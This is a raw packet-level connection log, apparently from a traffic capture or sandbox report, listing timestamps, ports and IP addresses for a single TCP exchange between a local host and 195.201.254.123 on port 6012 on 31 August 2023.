Aug 31, 2023 16:50:49.874305010 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874319077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874346972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874360085 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874386072 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874403954 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874428988 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874445915 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874484062 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874486923 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874531031 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874571085 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874600887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874600887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874600887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874610901 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874639034 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874653101 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874684095 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874696016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874710083 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874743938 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874772072 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874789953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874811888 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874841928 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874860048 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874906063 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874926090 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874948025 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874974966 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874990940 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875017881 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875041008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875065088 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875086069 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875108004 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875127077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875144958 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875179052 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875185966 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875233889 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875238895 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875277042 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875292063 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875323057 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875341892 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875364065 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875386953 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875406027 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875420094 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875448942 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875464916 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875513077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875528097 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875555038 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875595093 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875601053 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875626087 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875634909 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875675917 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875684023 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875718117 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875721931 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875747919 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875758886 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875790119 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875801086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875843048 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875844002 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875864029 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875883102 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875921965 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875921965 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875943899 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.875962019 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.875988960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.876003981 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.876017094 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.876044989 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.876064062 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.876086950 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.876106977 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.876127958 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.876153946 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.876168013 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.876197100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.876209974 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.876239061 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.876264095 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.887641907 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.887684107 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.887738943 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.887772083 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.887793064 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.887804985 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.887834072 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.887836933 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.887868881 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.887868881 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.887893915 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.887916088 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.887950897 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.887960911 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.887983084 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.888026953 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892103910 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892153025 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892198086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892241001 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892250061 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892250061 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892280102 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892287016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892318010 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892333031 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892343998 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892378092 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892398119 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892421961 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892466068 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892482996 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892507076 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892549038 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892549038 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892549038 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892575026 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892591953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892611027 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892632961 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892657042 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892678022 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892693996 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892724037 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892739058 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892769098 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892786026 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892813921 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892833948 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892858028 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892898083 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892900944 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892925978 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892941952 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.892970085 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.892983913 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.893006086 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.893028975 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.893045902 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.893069029 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.893100023 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.893110991 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.893151999 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.893152952 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.893177032 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.893196106 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.893222094 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.893265963 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.897418022 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.897466898 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.897511959 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.897527933 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.897527933 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.897556067 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.897588015 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.897600889 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.897613049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.897648096 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.897664070 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.897694111 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.897721052 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.897742033 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.897749901 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.897788048 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.897804976 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.897831917 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.897861958 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.897881031 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.897886038 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.897924900 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.897969007 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898014069 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898046970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898046970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898046970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898056984 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898086071 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898099899 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898123980 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898144007 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898164988 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898190022 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898232937 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898251057 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898251057 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898277998 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898298979 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898330927 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898339987 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898375988 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898391008 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898422003 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898443937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898479939 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898484945 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898528099 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898541927 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898572922 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898619890 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898631096 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898663998 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898670912 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898670912 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898711920 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898741007 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898763895 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898777008 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898808956 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898829937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898854971 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898870945 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898902893 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898911953 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898950100 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.898963928 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.898999929 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899013996 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899049044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899055004 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899094105 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899113894 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899141073 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899162054 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899187088 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899197102 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899235010 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899269104 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899283886 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899311066 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899332047 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899334908 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899379969 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899388075 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899425983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899449110 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899499893 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899502039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899553061 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899600983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899607897 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899637938 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899647951 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899662971 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899696112 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899710894 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899746895 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899760008 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899792910 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899804115 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899841070 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899857044 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899890900 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899914980 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.899966955 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.899981022 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.900023937 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.900038958 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.900090933 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.909131050 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.909177065 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.909216881 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.909256935 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.909265995 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.909265995 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.909296036 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.909336090 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.909341097 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.909341097 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.909363985 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.909373999 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.909399033 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.909414053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.909435034 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.909461021 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.909481049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.909522057 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.914381981 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.914427042 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.914467096 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.914506912 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.914524078 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.914547920 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.914575100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.914575100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.914575100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.914589882 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.914630890 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.914633036 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.914654016 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.914670944 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.914690971 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.914716005 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.914732933 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.914757013 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.914774895 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.914797068 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.914829016 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.914838076 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.914879084 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.914885044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.914899111 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.914928913 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.914942026 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.914983988 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.914983988 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.915040016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.915040970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.915097952 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.915098906 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.915154934 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.915154934 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.915201902 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.915215015 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.915241957 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.915256023 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.915283918 CEST	6012	49774	195.201.254.123	192.168.2.8
